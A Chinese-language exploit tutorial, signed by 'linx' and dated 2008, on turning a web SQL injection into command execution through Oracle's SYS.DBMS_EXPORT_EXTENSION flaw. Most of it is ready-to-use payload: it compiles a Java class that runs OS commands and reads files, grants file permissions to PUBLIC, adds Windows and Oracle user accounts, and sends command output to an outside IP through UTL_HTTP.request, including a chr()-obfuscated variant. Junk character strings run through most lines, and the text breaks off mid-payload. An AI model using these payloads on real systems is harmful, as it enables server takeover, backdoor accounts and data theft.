以下的演示都是在web上的sql plus执行的,在web注入时 把select SYS.DBMS_EXPORT_EXTENSION.....改成
4 f& B( w" n& R$ c4 e- j/ B% x, @, t4 q/ R3 i
/xxx.jsp?id=1 and '1'<>'a'||(select SYS.DBMS_EXPORT_EXTENSION.....) # n* F5 F, F4 c& k% |9 l
的形式即可。(用" 'a'|| "是为了让语句返回true值) 6 ?0 S n% O( B; L z; J
语句有点长,可能要用post提交。
3 m6 I) T, {8 S% r. ~+ ]以下是各个步骤: , r6 M# L C: e8 y: j+ X9 v
1.创建包
& x6 [" s |, Y& Y- S) @: f通过注入 SYS.DBMS_EXPORT_EXTENSION 函数,在oracle上创建Java包LinxUtil,里面两个函数,runCMD用于执行系统命令,readFile用于读取文件:
0 i! | [" G: o* w/xxx.jsp?id=1 and '1'<>'a'||(
7 u) S5 X6 Q3 z# T" n' e, E3 j/ |* ^select SYS.DBMS_EXPORT_EXTENSION.GET_DOMAIN_INDEX_TABLES('FOO','BAR','DBMS_OUTPUT".PUT( 1);EXECUTE IMMEDIATE ''DECLARE PRAGMA AUTONOMOUS_TRANSACTION;BEGIN EXECUTE IMMEDIATE ''''; E4 t' C" l3 q9 j- B _* L. O
create or replace and compile java source named "LinxUtil" as import java.io.*; public class LinxUtil extends Object {public static String runCMD(String args) {try{BufferedReader myReader= new BufferedReader(; D) \/ H# |# z! G1 ~
new InputStreamReader( Runtime.getRuntime().exec(args).getInputStream() ) ); String stemp,str="";while ((stemp = myReader.readLine()) != null) str +=stemp+"\n";myReader.close();return str;} catch (Exception e){return e.toString();}}public static String readFile(String filename){try{BufferedReader myReader= new BufferedReader(new FileReader(filename)); String stemp,str="";while ((stemp = myReader.readLine()) != null) str +=stemp+"\n";myReader.close();return str;} catch (Exception e){return e.toString();}}
, j! L% i8 {3 D: A}'''';END;'';END;--','SYS',0,'1',0) from dual . q& v. o+ B# N) g0 e# a7 a& X
)
( Z$ u `$ y5 {; I8 ?------------------------
* T; O' u+ q( M8 d如果url有长度限制,可以把readFile()函数块去掉,即: * p- J/ b9 Y ^& z
/xxx.jsp?id=1 and '1'<>'a'||( $ f1 S8 \! Y& i$ m! ^; c
select SYS.DBMS_EXPORT_EXTENSION.GET_DOMAIN_INDEX_TABLES('FOO','BAR','DBMS_OUTPUT".PUT( 1);EXECUTE IMMEDIATE ''DECLARE PRAGMA AUTONOMOUS_TRANSACTION;BEGIN EXECUTE IMMEDIATE ''''
0 }( C \! R H" k9 hcreate or replace and compile java source named "LinxUtil" as import java.io.*; public class LinxUtil extends Object {public static String runCMD(String args) {try{BufferedReader myReader= new BufferedReader(2 E O- B5 `2 a. Y
new InputStreamReader( Runtime.getRuntime().exec(args).getInputStream() ) ); String stemp,str="";while ((stemp = myReader.readLine()) != null) str +=stemp+"\n";myReader.close();return str;} catch (Exception e){return e.toString();}}
5 Q+ `* t5 p* a, ]8 G9 p6 a6 ?}'''';END;'';END;--','SYS',0,'1',0) from dual + k. F Y4 M! X
)
- Q9 H: U- q/ m& a+ ]/ [同时把后面步骤 提到的 对readFile()的处理语句去掉。 h- r7 ^+ o( G- Z( @
------------------------------
3 }' c' ^" I6 t6 b1 V2.赋Java权限 : r A* t6 \% {% C/ W/ ^9 K' x
select SYS.DBMS_EXPORT_EXTENSION.GET_DOMAIN_INDEX_TABLES('FOO','BAR','DBMS_OUTPUT".PUT( 1);EXECUTE IMMEDIATE ''DECLARE PRAGMA AUTONOMOUS_TRANSACTION;BEGIN EXECUTE IMMEDIATE ''''begin dbms_java.grant_permission( ''''''''PUBLIC'''''''', ''''''''SYS:java.io.FilePermission'''''''', ''''''''<<ALL FILES>>'''''''', ''''''''execute'''''''' );end;'''';END;'';END;--','SYS',0,'1',0) from dual
8 M2 ^" p" w( T* m, A/ x8 O3.创建函数 " e3 |+ I1 a5 t9 n; U
select SYS.DBMS_EXPORT_EXTENSION.GET_DOMAIN_INDEX_TABLES('FOO','BAR','DBMS_OUTPUT".PUT( 1);EXECUTE IMMEDIATE ''DECLARE PRAGMA AUTONOMOUS_TRANSACTION;BEGIN EXECUTE IMMEDIATE ''''
* _/ J2 G) V9 n% }! Tcreate or replace function LinxRunCMD(p_cmd in varchar2) return varchar2 as language java name ''''''''LinxUtil.runCMD(java.lang.String) return String''''''''; '''';END;'';END;--','SYS',0,'1',0) from dual
. x; Y g3 e# Kselect SYS.DBMS_EXPORT_EXTENSION.GET_DOMAIN_INDEX_TABLES('FOO','BAR','DBMS_OUTPUT".PUT( 1);EXECUTE IMMEDIATE ''DECLARE PRAGMA AUTONOMOUS_TRANSACTION;BEGIN EXECUTE IMMEDIATE ''''
" t1 P; f6 |: a0 n* Rcreate or replace function LinxReadFile(filename in varchar2) return varchar2 as language java name ''''''''LinxUtil.readFile(java.lang.String) return String''''''''; '''';END;'';END;--','SYS',0,'1',0) from dual
M3 }7 p4 _/ d1 u. [. k4.赋public执行函数的权限
h: H! F! i4 s7 H" b7 Sselect SYS.DBMS_EXPORT_EXTENSION.GET_DOMAIN_INDEX_TABLES('FOO','BAR','DBMS_OUTPUT".PUT( 1);EXECUTE IMMEDIATE ''DECLARE PRAGMA AUTONOMOUS_TRANSACTION;BEGIN EXECUTE IMMEDIATE ''''grant all on LinxRunCMD to public'''';END;'';END;--','SYS',0,'1',0) from dual
+ f/ D8 F, f5 S5 n) nselect SYS.DBMS_EXPORT_EXTENSION.GET_DOMAIN_INDEX_TABLES('FOO','BAR','DBMS_OUTPUT".PUT( 1);EXECUTE IMMEDIATE ''DECLARE PRAGMA AUTONOMOUS_TRANSACTION;BEGIN EXECUTE IMMEDIATE ''''grant all on LinxReadFile to public'''';END;'';END;--','SYS',0,'1',0) from dual
( o& S' m8 _: n1 K0 k5.测试上面的几步是否成功
- }) N, u- c/ @2 z2 y; C0 T5 j" e9 H$ L. ]and '1'<>'11'||( 8 f/ `0 ^. c7 I
select OBJECT_ID from all_objects where object_name ='LINXRUNCMD'
( P4 x) W9 `" ]. l/ P' b( l8 J! C) 3 i7 R! A; j! t; F6 {
and '1'<>(
' j* j/ H& C$ p1 u) R% Iselect OBJECT_ID from all_objects where object_name ='LINXREADFILE'
, y4 u- h6 a. q# `: u' f5 \$ E)
$ C/ y( ?9 ^0 g1 |6.执行命令: ( S* F8 F9 |+ ?) [2 ?* t' C; o/ S3 S
/xxx.jsp?id=1 and '1'<>(
1 H# X& O) q- w4 W4 Rselect sys.LinxRunCMD('cmd /c net user linx /add') from dual 0 L6 V/ q H/ S' T: ^3 P0 d& g
$ D5 n. A& G [+ D8 j5 O: r* ^) % D9 u0 w/ ^+ n0 j. O
/xxx.jsp?id=1 and '1'<>(
( C" d4 }) U/ M" G) Yselect sys.LinxReadFile('c:/boot.ini') from dual
6 j$ _' i4 M, O* a z( y; m
. L( s8 p7 p/ D' q3 g! Q0 d3 ]/ Q)
# w# q4 U: j: X& Q8 j$ @8 y+ m 1 R, |0 L" {0 ?0 P9 t/ h5 h. T
注意sys.LinxReadFile()返回的是varchar类型,不能用"and 1<>" 代替 "and '1'<>"。
. W# ?* D3 j% d! M Q3 g& a6 }如果要查看运行结果可以用 union :
6 \6 \6 K! ~+ e3 z/xxx.jsp?id=1 union select sys.LinxRunCMD('cmd /c net user linx /add') from dual
4 t& S: ?/ M. ]0 C( [6 l2 p或者UTL_HTTP.request(:
% i" _$ O% l% ?, i! p* C4 U; S; q, l0 p/xxx.jsp?id=1 and '1'<>( - B0 o- g) e' \: @3 R/ `
SELECT UTL_HTTP.request('http://211.71.147.3/record.php?a=LinxRunCMD:'||REPLACE(REPLACE(sys.LinxRunCMD('cmd /c net user aaa /del'),' ','%20'),'\n','%0A')) FROM dual
8 R$ S* I8 R. X) $ K; H6 ]: S9 o0 P3 u9 D+ T$ @
/xxx.jsp?id=1 and '1'<>(
# M+ |. L- W0 k8 HSELECT UTL_HTTP.request('http://211.71.147.3/record.php?a=LinxRunCMD:'||REPLACE(REPLACE(sys.LinxReadFile('c:/boot.ini'),' ','%20'),'\n','%0A')) FROM dual
J4 T6 E. d! n: R/ I* t/ K) " v y1 ?' p- Q2 h8 {5 I- H' y% k
注意:用UTL_HTTP.request时,要用 REPLACE() 把空格、换行符给替换掉,否则会无法提交http request。用utl_encode.base64_encode也可以。4 p. S% ?- K* T7 I/ \$ {
-------------------- # @: }; x& a4 c
6.内部变化
# I7 t$ B" \9 W+ a, [通过以下命令可以查看all_objects表达改变: # u- a! ~$ [6 ]3 Y4 {5 N
select * from all_objects where object_name like '%LINX%' or object_name like '%Linx%'
2 X }$ x3 b# }3 c; R7.删除我们创建的函数
( b: ?% _: k0 a( nselect SYS.DBMS_EXPORT_EXTENSION.GET_DOMAIN_INDEX_TABLES('FOO','BAR','DBMS_OUTPUT".PUT( 1);EXECUTE IMMEDIATE ''DECLARE PRAGMA AUTONOMOUS_TRANSACTION;BEGIN EXECUTE IMMEDIATE ''''; w! V6 j: Y" }+ K0 _) Z9 V* e4 a
drop function LinxRunCMD '''';END;'';END;--','SYS',0,'1',0) from dual
- M) ^7 m$ `3 X; E0 }8 `" C1 d2 d==================================================== 8 q4 A: C3 c/ t; H7 m7 B
全文结束。谨以此文赠与我的朋友。
: K7 c! Z0 U$ K1 q2 rlinx
, d' [' N0 c' }& L$ l& ~/ Z124829445
; r- C/ x) f* X! d1 R0 ^2 q6 t) W4 g2008.1.12 . S, D+ N: S5 f+ T! Q; J$ m
[email protected]
. ]: u9 a' [+ N- n. Q2 F+ R====================================================================== 7 z9 E$ c# x' r; q
测试漏洞的另一方法:
% Z+ y" C/ z$ W* Z8 v4 J创建oracle帐号: 5 q3 p0 N4 l$ B3 v1 o4 n/ r
select SYS.DBMS_EXPORT_EXTENSION.GET_DOMAIN_INDEX_TABLES('FOO','BAR','DBMS_OUTPUT".PUT( 1);EXECUTE IMMEDIATE ''DECLARE PRAGMA AUTONOMOUS_TRANSACTION;BEGIN EXECUTE IMMEDIATE ''''
/ w( Q" n/ M/ Q7 O% SCREATE USER linxsql IDENTIFIED BY linxsql'''';END;'';END;--','SYS',0,'1',0) from dual
$ A# ~3 }+ s$ @: H0 _- w" J6 X即: 9 v- h0 F ~( `- W5 ?. E
select SYS.DBMS_EXPORT_EXTENSION.GET_DOMAIN_INDEX_TABLES(chr(70)||chr(79)||chr(79),chr(66)||chr(65)||chr(82),
. ^1 D6 u% q6 K& echr(68)||chr(66)||chr(77)||chr(83)||chr(95)||chr(79)||chr(85)||chr(84)||chr(80)||chr(85)||chr(84)||chr(34)||chr(46)||chr(80)||chr(85)||chr(84)||chr(40)||chr(58)||chr(80)||chr(49)||chr(41)||chr(59)||chr(69)||chr(88)||chr(69)||chr(67)||chr(85)||chr(84)||chr(69)||chr(32)||chr(73)||chr(77)||chr(77)||chr(69)||chr(68)||chr(73)||chr(65)||chr(84)||chr(69)||chr(32)||chr(39)||chr(68)||chr(69)||chr(67)||chr(76)||chr(65)||chr(82)||chr(69)||chr(32)||chr(80)||chr(82)||chr(65)||chr(71)||chr(77)||chr(65)||chr(32)||chr(65)||chr(85)||chr(84)||chr(79)||chr(78)||chr(79)||chr(77)||chr(79)||chr(85)||chr(83)||chr(95)||chr(84)||chr(82)||chr(65)||chr(78)||chr(83)||chr(65)||chr(67)||chr(84)||chr(73)||chr(79)||chr(78)||chr(59)||chr(66)||chr(69)||chr(71)||chr(73)||chr(78)||chr(32)||chr(69)||chr(88)||chr(69)||chr(67)||chr(85)||chr(84)||chr(69)||chr(32)||chr(73)||chr(77)||chr(77)||chr(69)||chr(68)||chr(73)||chr(65)||chr(84)||chr(69)||chr(32)||chr(39)||chr(39)||chr(67)||chr(82)||chr(69)||chr(65)||chr(84)||chr(69)||chr(32)||chr(85)||chr(83)||chr(69)||chr(82)||chr(32)||chr(108)||chr(105)||chr(110)||chr(120)||chr(115)||chr(113)||chr(108)||chr(32)||chr(73)||chr(68)||chr(69)||chr(78)||chr(84)||chr(73)||chr(70)||chr(73)||chr(69)||chr(68)||chr(32)||chr(66)||chr(89)||chr(32)||chr(108)||chr(105)||chr(110)||chr(120)||chr(115)||chr(113)||chr(108)||chr(39)||chr(39)||chr(59)||chr(69)||chr(78)||chr(68)||chr(59)||chr(39)||chr(59)||chr(69)||chr(78)||chr(68)||chr(59)||chr(45)||chr(45),chr(83)||chr(89)||chr(83),0,chr(49),0) from dual 6 F" i1 L* g i1 `& d8 ]5 r
确定漏洞存在: 2 w. J# P& M" |3 Z* S# f( g
1<>(
- D: r |# d& B }/ {/ ]select user_id from all_users where username='LINXSQL'
! u7 i# L) l% ^- {; x9 N* J)
! i6 q" d- b7 M$ [给linxsql连接权限:
" x# a3 W; C* O0 G1 t( Kselect SYS.DBMS_EXPORT_EXTENSION.GET_DOMAIN_INDEX_TABLES('FOO','BAR','DBMS_OUTPUT".PUT( 1);EXECUTE IMMEDIATE ''DECLARE PRAGMA AUTONOMOUS_TRANSACTION;BEGIN EXECUTE IMMEDIATE ''''
# T; U! g3 y) F; f' H" IGRANT CONNECT TO linxsql'''';END;'';END;--','SYS',0,'1',0) from dual . W0 H# M% `# e9 E
删除帐号:
" }6 | H6 c2 d9 n: [' iselect SYS.DBMS_EXPORT_EXTENSION.GET_DOMAIN_INDEX_TABLES('FOO','BAR','DBMS_OUTPUT".PUT(:P1);EXECUTE IMMEDIATE ''DECLARE PRAGMA AUTONOMOUS_TRANSACTION;BEGIN EXECUTE IMMEDIATE '''') X/ ^9 {+ l( x: [& k
drop user LINXSQL'''';END;'';END;--','SYS',0,'1',0) from dual
# g6 ^, ^# {; W) h5 S====================== 9 f0 B8 P% Z. J5 {$ x
以下方法创建一个可以执行多语句的函数Linx_query(),执行成功的话返回数值"1",但权限是继承的,可能仅仅是public权限,作用似乎不大,真的要用到话可以考虑grant dba to 当前的User:. l* W3 B3 ?! t( E6 O( C
1.jsp?id=1 and '1'<>(
7 J: u2 Z* ?4 b" wselect SYS.DBMS_EXPORT_EXTENSION.GET_DOMAIN_INDEX_TABLES('FOO','BAR','DBMS_OUTPUT".PUT(:P1);EXECUTE IMMEDIATE ''DECLARE PRAGMA AUTONOMOUS_TRANSACTION;BEGIN EXECUTE IMMEDIATE ''''
" E4 F: M% o& g' T2 Tcreate or replace function Linx_query (p varchar2) return number authid current_user is begin execute immediate p; return 1; end; '''';END;'';END;--','SYS',0,'1',0) from dual% X- j( R) a' F" Z( w) d
) and ... 1.jsp?id=1 and '1'( select SYS.DBMS_EXPORT_EXTENSION.GET_DOMAIN_INDEX_TABLES('FOO','BAR','DBMS_OUTPUT.PUT(:P1);EXECUTE IMMEDIATE: T# `, V- J; G' |& V! J1 [) ]
)- F/ h1 _8 @0 [1 p7 u8 {, ?
- Q) G9 D6 r3 t! H9 B
2 A$ D% k$ {: o& V/ Y- e4 M5 |4 l. e+ C. \# u
|